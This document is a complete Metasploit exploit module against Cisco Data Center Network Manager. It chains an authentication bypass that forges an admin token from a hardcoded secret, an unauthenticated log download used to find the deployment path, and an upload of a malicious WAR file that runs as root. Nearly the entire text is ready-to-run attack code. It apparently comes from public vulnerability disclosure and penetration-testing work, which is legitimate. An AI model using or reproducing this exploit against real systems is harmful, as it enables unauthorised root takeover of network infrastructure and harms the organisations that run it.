Cisco Data Center Network Manager Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',  
'Description' => %q{  
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.  
An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps  
directory and achieve remote code execution as root.  
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on  
versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct  
directory for the WAR file upload.  
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should  
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit  
(see References to understand why).  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2019-1619' ], # auth bypass  
[ 'CVE', '2019-1620' ], # file upload  
[ 'CVE', '2019-1622' ], # log download  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]  
],  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[  
'Cisco DCNM 11.1(1)', {}  
],  
[  
'Cisco DCNM 11.0(1)', {}  
],  
[  
'Cisco DCNM 10.4(2)', {}  
]  
],  
'Privileged' => true,  
'DefaultOptions' => { 'WfsDelay' => 10 },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 26 2019'  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Connect with TLS', true]),  
OptString.new('TARGETURI', [true, "Default server path", '/']),  
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),  
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),  
])  
end  
  
def check  
# at the moment this is the best way to detect  
# check if pmreport and fileUpload servlets return a 500 error with no params  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),  
'vars_get' =>  
{  
'token' => rand_text_alpha(5..20)  
},  
'method' => 'GET'  
)  
if res && res.code == 500  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),  
'method' => 'GET',  
)  
if res && res.code == 500  
return CheckCode::Detected  
end  
end  
  
CheckCode::Unknown  
end  
  
def target_select  
if target != targets[0]  
return target  
else  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),  
'method' => 'GET'  
)  
if res && res.code == 200  
if res.body.include?('version":"11.1(1)')  
print_good("#{peer} - Detected DCNM 11.1(1)")  
print_status("#{peer} - No authentication required, ready to exploit!")  
return targets[1]  
elsif res.body.include?('version":"11.0(1)')  
print_good("#{peer} - Detected DCNM 11.0(1)")  
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")  
return targets[2]  
elsif res.body.include?('version":"10.4(2)')  
print_good("#{peer} - Detected DCNM 10.4(2)")  
print_status("#{peer} - No authentication required, ready to exploit!")  
return targets[3]  
else  
print_error("#{peer} - Failed to detect target version.")  
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")  
print_error(res.body)  
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")  
return targets[3]  
end  
end  
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")  
end  
end  
  
def auth_v11  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm/'),  
'method' => 'GET',  
'vars_get' =>  
{  
'userName' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
},  
)  
  
if res && res.code == 200  
# get the JSESSIONID cookie  
if res.get_cookies  
res.get_cookies.split(';').each do |cok|  
if cok.include?("JSESSIONID")  
return cok  
end  
end  
end  
end  
end  
  
def auth_v10  
# step 1: get a JSESSIONID cookie and the server Date header  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm/'),  
'method' => 'GET'  
)  
  
# step 2: convert the Date header and create the auth hash  
if res && res.headers['Date']  
jsession = res.get_cookies.split(';')[0]  
date = Time.httpdate(res.headers['Date'])  
server_date = date.strftime("%s").to_i * 1000  
print_good("#{peer} - Got sysTime value #{server_date.to_s}")  
  
# auth hash format:  
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF  
session_id = rand(1000..50000).to_s  
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +  
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"  
md5_str = Base64.strict_encode64(md5)  
  
# step 3: authenticate our cookie as admin  
# token format: sessionId.sysTime.md5_str.username  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),  
'cookie' => jsession,  
'vars_get' =>  
{  
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"  
},  
'method' => 'GET'  
)  
  
if res && res.code == 500  
return jsession  
end  
end  
end  
  
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log  
def get_war_path  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),  
'method' => 'GET'  
)  
  
if res && res.code == 200  
tmp = Tempfile.new  
# we have to drop this into a file first  
# else we will get a Zip::GPFBit3Error if we use an InputStream  
File.binwrite(tmp, res.body)  
Zip::File.open(tmp) do |zis|  
zis.each do |entry|  
if entry.name =~ /jboss[0-9]*\.log/  
fdata = zis.read(entry)  
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]  
tmp.close  
tmp.unlink  
return $1.strip  
end  
end  
end  
end  
end  
end  
  
  
def exploit  
target = target_select  
  
if target == targets[2]  
jsession = auth_v11  
elsif target == targets[3]  
jsession = auth_v10  
end  
  
# targets[1] DCNM 11.1(1) doesn't need auth!  
if jsession.nil? && target != targets[1]  
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")  
elsif target != targets[1]  
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")  
end  
  
war_path = get_war_path  
if war_path.nil? or war_path.empty?  
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")  
else  
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")  
end  
  
# Generate our payload... and upload it  
app_base = rand_text_alphanumeric(6..16)  
war_payload = payload.encoded_war({ :app_name => app_base }).to_s  
  
fname = app_base + '.war'  
post_data = Rex::MIME::Message.new  
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")  
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")  
post_data.add_part(war_payload,  
"application/octet-stream", 'binary',  
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")  
data = post_data.to_s  
  
print_status("#{peer} - Uploading payload...")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),  
'method' => 'POST',  
'data' => data,  
'cookie' => jsession,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
)  
  
if res && res.code == 200 && res.body[/#{fname}/]  
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")  
  
sleep 10  
  
print_status("#{peer} - Executing payload...")  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, app_base),  
'method' => 'GET'  
)  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")  
end  
end  
end  
`